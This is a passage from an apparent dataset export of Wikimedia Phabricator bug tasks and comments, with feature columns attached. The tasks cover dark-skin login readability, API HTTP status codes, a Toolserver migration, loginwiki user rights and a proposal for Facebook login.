+https://bugzilla.wikimedia.org/show_bug.cgi?id=70351",Lowest,10.0,1398996060,1502833885.0,PHID-USER-gibrlx54k2riiuit5paf,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-ze63d2xsdhfuccweyurl,task_description,declined,True,c3,1,False,False,False,-61,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+912823,Login form hard to read on dark skins,This is up to the skin authors of dark skins and not something we are able to easily take care for out of the box.,,,1502833885,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,3,True,,,110,True,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+469493,Login form hard to read on dark skins,Will be converted to OO UI in {T85853}.  Will need to make sure issues do not apply with OOjs UI/OO PHP UI.,,,1433461359,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+307949,Login form hard to read on dark skins,"(In reply to Daniel Friesen from comment #0)
+> This case isn't fixed by simply applying an explicit color somewhere so
+> we'll probably have to create a new 'dark' common/skinning module.
+
+Why can't the dark skin(s) specify an explicit color in a skinStyles style sheet for mediawiki.ui (or the relevant module)?  I am inclined to resolve as invalid and request that individual skins fix this.
+
+However, if the dark label only looks right in a limited number of skins, the alternative is to put skinStyles for those skins (not convinced of that so far) (e.g. Vector, Monobook, etc.).
+
+Unless I'm mistaken, creating a new module would change the API for how MW UI is used.  Using skinStyles/$wgResourceModuleSkinStyles would not have this issue.
+
+I don't agree with Jon's new title.  All dark skins do not look alike.  Why should MW UI look alike in all of them?
+
+Also, improving every aspect of MW UI in every dark skin would greatly expand the scope of this bug.  Let's stick the original report.",,,1409865494,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,1,True,,,-43,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+307944,Login form hard to read on dark skins,Updating the importance since this does not affect default skin.,,,1409266333,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+63736,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"Fiddler trace (ZIP archive with a funny name)
+
+Your extension seems to give some rather odd HTTP responses.  Namely:
+
+HTTP/1.1 200 OK
+Server: Apache
+X-Powered-By: PHP/5.3.10-1ubuntu3.9+wmf1
+X-Content-Type-Options: nosniff
+Cache-control: private
+MediaWiki-API-Error: unknownerror
+X-Frame-Options: DENY
+Vary: Accept-Encoding
+X-Vary-Options: Accept-Encoding;list-contains=gzip
+Content-Type: text/xml; charset=utf-8
+X-Varnish: 675837389, 1807899246
+Via: 1.1 varnish, 1.1 varnish
+Content-Length: 129
+Accept-Ranges: bytes
+Date: Fri, 21 Feb 2014 05:16:39 GMT
+Age: 0
+Connection: keep-alive
+X-Cache: cp1053 miss (0), cp1055 frontend miss (0)
+
+<?xml version=""1.0""?><api servedby=""mw1135""><error code=""unknownerror"" info=""Unknown error: &quot;tpt-target-page&quot;"" /></api>
+
+This was for an attempt to save ""MediaWiki 1.21/wmf5/el"" on www.mediawiki.org.
+
+(Raw request/response pair attached in Fiddler's ZIP-based format; would be easiest to open in Fiddler, but anything else that understands raw HTTP request/response pairs should be able to make sense of the data.)
+
+I'm assuming it's from this extension because it only happens on pages that, when edited from normal UI, open in your fancy translation tool.
+
+
+I have two questions:
+
+1. Why is this a ""200 OK""? Things are clearly not OK; it should probably be a 500, or possibly a 403.
+
+2. Why is the error so non-specific?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F13127}",Lowest,10.0,1392961860,1439826817.0,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-hzwaskmouxm5amayy4ro,task_description,duplicate,True,c3,1,False,False,True,-71,True,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+512939,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"Thanks, that's interesting.",,,1440317506,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+509900,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,{T40716} would be a duplicate for that request.,,,1439853431,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+509670,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"The task this was merged into makes no mention of HTTP 200. Does the closure mean that status 200 is fine? It would make more sense to close this as invalid, then.",,,1439834311,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+509558,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,I just tried `https://meta.wikimedia.org/w/api.php?action=edit&format=json` + `title=Meta%3ASandbox&appendtext=http%3A%2F%2Fbit.ly%2Fabcdef` (an edit prohibited by the spam blacklist) and I get HTTP 200 too.,,,1439826719,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+288469,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,For 2) see bug 14261.,,,1392965723,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+288466,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"(In reply to Samuel Bronson from comment #0)
+> 1. Why is this a ""200 OK""? Things are clearly not OK; it should probably be
+> a 500, or possibly a 403.
+
+This is a general API thing, not specific to the Translate extension.",,,1392962448,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+62888,Migrate https//toolserver.org/~wiegels/wikipedia-termine.php to Tool Labs,"A very popular event calendar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1391603520,1487369227.0,PHID-USER-qqgzlefcbycpok45pchr,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-yl4vock4lcirm3thulfe,task_description,resolved,True,c3,1,False,False,False,-74,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+811901,Migrate https//toolserver.org/~wiegels/wikipedia-termine.php to Tool Labs,"Change 336764 merged by Yuvipanda:
+toolserver_legacy: Add redirect for ~wiegels/wikipedia-termine.php
+
+[[https://gerrit.wikimedia.org/r/336764]]",,,1487368350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yl4vock4lcirm3thulfe,task_subcomment,,True,c3,3,False,,,85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+806358,Migrate https//toolserver.org/~wiegels/wikipedia-termine.php to Tool Labs,"Change 336764 had a related patch set uploaded (by Tim Landscheidt):
+toolserver_legacy: Add redirect for ~wiegels/wikipedia-termine.php
+
+[[https://gerrit.wikimedia.org/r/336764]]
+",,,1486631603,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yl4vock4lcirm3thulfe,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+62607,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,"This is basically a followup to bug 57866, where such options were discussed.
+Is this possible?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T47469}",Lowest,10.0,1391046600,1690131831.0,PHID-USER-omdcggvudfkuawipp23i,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-24bclzoyrficwse5xql3,task_description,duplicate,True,c3,1,False,False,False,-74,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+1589871,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601370277,,PHID-USER-cupb7b4ejbdrxk7ky7bu,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,273,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1589760,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601353903,,PHID-USER-xvxheeyrpnh22kb3txqk,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,273,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1588905,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601274000,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,True,,,273,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1588901,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601272820,,PHID-USER-5rqf2knwlvccmw66mz2w,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,273,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1578640,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1599885093,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,True,,,271,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1578638,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1599884012,,PHID-USER-pmq7i6fmppfp6w76ddwu,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,271,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+285515,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,They were also discussed in comments here: https://gerrit.wikimedia.org/r/#/c/98568/,,,1391046674,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+61701,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","https://login.wikimedia.org/wiki/Special:ListGroupRights
+
+Some pretty weird (non-default) user groups and user rights here. Example:
+
+`Use the VIPS scaling test interface Special:VipsTest (vipsscaler-test)`
+
+For all users? Weird. Account creators user group? Really? Weird.
+
+--------------------------
+**URL**: https://login.wikimedia.org/wiki/Special:ListGroupRights
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=59702",Lowest,10.0,1388965440,1420562514.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-lsveyqlsb4acoowxr5yj,False,PHID-TASK-tw7fbfrs46t5oladuooy,task_description,declined,True,c3,1,True,False,True,-78,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1
+395767,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",Declined -- I see no gain in doing this. Let's focus on {T61702} instead,,,1420562557,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+395765,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",Declined -- I see no gain in doing this.,,,1420562514,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+395764,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",">>! In T61701#938616, @Nemo_bis wrote:
+> Loginwiki isn't a standard wiki, so we can't assume defaults make sense there. A whitelist allows not to worry about defaults.
+
+Why are we worrying about this? :) AFAICS, there is no harm in keeping the defaults there. If we remove all unneeded user rights now, then we'd have to worry about updating loginwiki configuration whenever we update the defaults. So while trying to not worry about the defaults by overriding the defaults, we'd have to worry about it every time we update the default configuration.",,,1420562476,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+391940,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","Most groups there are unneeded, but I think it's also unnecessary to remove them.
+The checkuser group is atm used by stewards.",,,1419206342,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0
+391880,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","> Currently there is nothing in group ovverrides for loginwiki hence only the default user groups/rights are there. What is the benefit in removing all these groups?
+
+Loginwiki isn't a standard wiki, so we can't assume defaults make sense there. A whitelist allows not to worry about defaults.",,,1419177073,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-28,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+391773,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",Currently there is nothing in group ovverrides for loginwiki hence only the default user groups/rights are there. What is the benefit in removing all these groups?,,,1419093093,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-28,True,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0
+263925,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","(In reply to comment #1)
+> I think we should remove most (all?) non-default user groups and user rights
+> from this wiki.
+
+Yep, adjusting summary.",,,1388966120,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1
+263917,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",I think we should remove most (all?) non-default user groups and user rights from this wiki.,,,1388965572,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+61631,Enable Facebook login on Wikimedia wikis,"Other sites have ""Login with Facebook"".
+Wikipedia should too!
+
+At least leave this open as a long term goal 'LATER'.
+
+----
+
+**Pros**
+* Facebook has over a billion registered users, including many/most current Wikimedians
+* No need for yet another username/password
+
+**Cons**
+* Facebook is evil",Lowest,10.0,1388802780,1473447807.0,PHID-USER-awbqewknju4hbrnah6pm,False,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-TASK-2ibar746q7fwquhhky2c,task_description,declined,True,c3,1,False,False,False,-78,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0
+725905,Enable Facebook login on Wikimedia wikis,"I think there were two issues that were conflated into one in this task: 1) Should Wikimedia support using any external services for authentication (e.g. OpenID, OAuth, Persona), and 2) Should we support Facebook as one of those mechanisms, possibly via an open standard.
+
+Some people here are against #1, and others are only against #2. In any case, I agree that there was way too much FUD in this discussion. Facebook isn't going to compromise checkuser accounts, we (now) have a robust authentication system that allows lowering user's permissions depending what authentication method they use (OAuth, BotPasswords), we'd obviously apply the same treatment to external providers.",,,1473449496,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+725889,Enable Facebook login on Wikimedia wikis,">>! In T61631#2623125, @Aklapper wrote:
+> Indeed, if you post on a mailing list or a local village pump and //have a specific, well-defined, non-controversial issue//, you hopefully get told to file a task in Maniphest. If there are more complex (technical or social) aspects to sort out first, a Maniphest task might welcome a related mailing list discussion or even an RfC. I'm sure you're well aware of this and understand which venues provide which purposes.
+
+The idea that Maniphest is not used—and should not be used—to capture complex technical tasks, even those that include social components, is demonstrably false.",,,1473448464,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,1
+725884,Enable Facebook login on Wikimedia wikis,"I'm marking this as declined because it isn't worth warring over. The arguments against doing this continue to be ridiculously weak and are largely driven by attempts to harmfully and needlessly spread fear, uncertainty, and doubt.",,,1473448039,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+725711,Enable Facebook login on Wikimedia wikis,"[offtopic]
+>>! In T61631#2623035, @MZMcBride wrote:
+> You know if you post on a local wiki village pump, you get told to file a task in Phabricator Maniphest. If you post to a mailing list, you get told to file a task in Phabricator Maniphest. If you file a task in Phabricator Maniphest, you get told to post to a mailing list? Stop giving people the run-around, it's very rude.
+
